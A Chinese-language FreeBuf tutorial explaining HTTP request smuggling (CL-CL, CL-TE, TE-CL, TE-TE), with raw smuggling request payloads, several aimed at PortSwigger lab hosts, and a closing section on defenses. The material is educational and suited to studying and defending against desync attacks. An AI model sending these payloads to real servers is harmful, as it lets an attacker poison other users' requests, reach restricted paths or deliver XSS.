freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

HTTP 请求走私详解
掌控安全EDU 2022-02-15 11:46:05 178973
所属地 江西省

简介

在 HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇文章(附件中上传)中被提出,通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。

在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。

在2019年的BlackHa

t USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。

https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-door-15153

产生原因

请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。

正常的请求

1644896684_620b21acf272b101bb042.png!small?1644896682725
攻击者通过在自己的请求中夹带一个请求, 来影响到下一个请求中,

一个典型的例子是反射型xss, 通过在上一次请求中走私一个请求头,就可以在正常用户接下来进行的一次正常请求的过程中纂改其请求内容,

比如修改他的请求路径为一个反射性xss链接, 这样就可以达到让用户点击正常链接但是却触发xss链接的目的.

1644896672_620b21a00611db4dd1e57.png!small?1644896682725
这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-Length 和 Transfer-Encoding 标头。

Content-Length:表示请求体的长度, 简称CL

  1. Content-Length: 9


  2. 6

  3. ZKAQ

9个长度指的是以下内容的长度

  1. 6\r\n

  2. ZKAQ\r\n

Transfer-Encoding, 简称TE:表示编码时使用的安全传输的形式有效载荷体

  1. # 常见的几种

  2. Transfer-Encoding: chunked

  3. Transfer-Encoding: compress

  4. Transfer-Encoding: deflate

  5. Transfer-Encoding: gzip

  6. Transfer-Encoding: identity

请求走私中一般用的都是chunked, 将消息正文视为使用分块编码.这里声明8字节长度, 经过一个换行后开始统计, 统计完8字节后经过一个换行表示下一个数据块开始, 长度为0, 被视为请求终止。

  1. Transfer-Encoding: chunked


  2. 8

  3. SMUGGLED

  4. 0

一个典型的请求如下

  1. HTTP/1.1 200 OK

  2. Content-Type: text/plain

  3. Transfer-Encoding: chunked


  4. 7\r\n

  5. Mozilla\r\n

  6. 9\r\n

  7. Developer\r\n

  8. 7\r\n

  9. Network\r\n

  10. 0\r\n

  11. \r\n

分类

  1. CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding 头

  2. TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。

  3. TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

CL不为0的GET请求

当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理,这就有可能导致请求走私。

例如下面这个例子:

  1. GET / HTTP/1.1\r\n

  2. Host: example.com\r\n

  3. Content-Length: 44\r\n


  4. GET /secret HTTP/1.1\r\n

  5. Host: example.com\r\n

  6. \r\n

前端服务器处理了 Content-Length ,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。

CL-CL

根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。

例如:

  1. POST / HTTP/1.1\r\n

  2. Host: example.com\r\n

  3. Content-Length: 8\r\n

  4. Content-Length: 7\r\n


  5. 12345\r\n

  6. a

这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n 。

CL-TE

CL-TE就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。

例如:

  1. POST / HTTP/1.1\r\n

  2. Host: example.com\r\n

  3. ...

  4. Connection: keep-alive\r\n

  5. Content-Length: 6\r\n

  6. Transfer-Encoding: chunked\r\n

  7. \r\n

  8. 0\r\n

  9. \r\n

  10. a

这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n 。

  1. POST / HTTP/1.1

  2. Host: ac811f861fa3584f80e0998500f800dc.web-security-academy.net

  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  5. Accept-Language: en-US,en;q=0.5

  6. Accept-Encoding: gzip, deflate

  7. Connection: close

  8. Cookie: session=6mA52yc42gmrXsBVf3gCCwaizRMowHXn

  9. Upgrade-Insecure-Requests: 1

  10. Content-Type: application/x-www-form-urlencoded

  11. Content-Length: 6

  12. Transfer-Encoding: chunked


  13. 0


  14. G

长度为6是因为0\r\n\r\nG, chunked看到0\r\n\r\n之后就结束接受了, 剩下来一个作为下一个请求头的开始。

TE-CL

TE-CL指就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。

例如:

  1. POST / HTTP/1.1\r\n

  2. Host: example.com\r\n

  3. ...

  4. Content-Length: 4\r\n

  5. Transfer-Encoding: chunked\r\n

  6. \r\n

  7. 12\r\n

  8. aPOST / HTTP/1.1\r\n

  9. \r\n

  10. 0\r\n

  11. \r\n

再比如:

  1. POST / HTTP/1.1

  2. Host: ac4e1f3c1fe90e5480a44952006b00a0.web-security-academy.net

  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  5. Accept-Language: en-US,en;q=0.5

  6. Accept-Encoding: gzip, deflate

  7. Connection: close

  8. Cookie: session=MDCGt1IHa1MdeOnP1wkjRX15gMuiEGT6

  9. Upgrade-Insecure-Requests: 1

  10. Content-Type: application/x-www-form-urlencoded

  11. Content-Length: 4

  12. Transfer-Encoding: chunked


  13. 12

  14. GPOST / HTTP/1.1


  15. 0

chunked检测合理, 注意0\r\n\r\n是规定的结束格式, 然后后端只取12\r\n, 剩下来的东西就变成下一个请求的一部分。

TE-TE

TE-TE指当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。

不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。

从某种意义上还是CL-TE或者TE-CL。测试例如:

  1. POST / HTTP/1.1\r\n

  2. Host: example.com\r\n

  3. ...

  4. Content-length: 4\r\n

  5. Transfer-Encoding: chunked\r\n

  6. Transfer-encoding: cow\r\n

  7. \r\n

  8. 5c\r\n

  9. aPOST / HTTP/1.1\r\n

  10. Content-Type: application/x-www-form-urlencoded\r\n

  11. Content-Length: 15\r\n

  12. \r\n

  13. x=1\r\n

  14. 0\r\n

  15. \r\n

再比如:

  1. POST / HTTP/1.1

  2. Host: ac731fb01fc279f280a00aac002d0026.web-security-academy.net

  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  5. Accept-Language: en-US,en;q=0.5

  6. Accept-Encoding: gzip, deflate

  7. Connection: close

  8. Cookie: session=nGAfuCE6lQ9mnpysbHjt8yG3eO5XnU5S

  9. Upgrade-Insecure-Requests: 1

  10. Content-Type: application/x-www-form-urlencoded

  11. Content-Length: 4

  12. Transfer-Encoding: chunked

  13. Transfer-Encoding: nothing


  14. 12

  15. GPOST / HTTP/1.1


  16. 0

这里的情况是前端服务器以第一个TE为标准后端服务器以第二个为标准, 前端服务器通过之后, 后端服务器的TE值不存在, 就转而使用Content-Length为依据, 这个时候的情况就相当于TE-CL情况。

防御

从前面的大量案例中,我们已经知道了HTTP请求走私的危害性,那么该如何防御呢?

不针对特定的服务器,通用的防御措施大概有三种。

  1. 禁用后端连接重用

  2. 确保连接中的所有服务器具有相同的配置

  3. 拒绝有二义性的请求

以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的TCP连接重用,会增大后端服务器的压力。

使用HTTP/2在现在的网络条件下根本无法推广使用,哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。

从本质上来说,HTTP请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准,但这也是最难做到的。

# 渗透测试 # 黑客 # web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 掌控安全EDU 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
web安全和渗透测试
掌控安全EDU LV.6
这家伙太懒了,还未填写个人描述!
  • 71 文章数
  • 71 关注者
记录某SRC邀请处逻辑越权到组织管理员漏洞
2025-03-26
掌控安全学院“从零赚赏金黑客训练营第二期”开营啦
2025-03-25
(云安全)前端敏感信息泄露到接管整个云服务器
2025-03-12
文章目录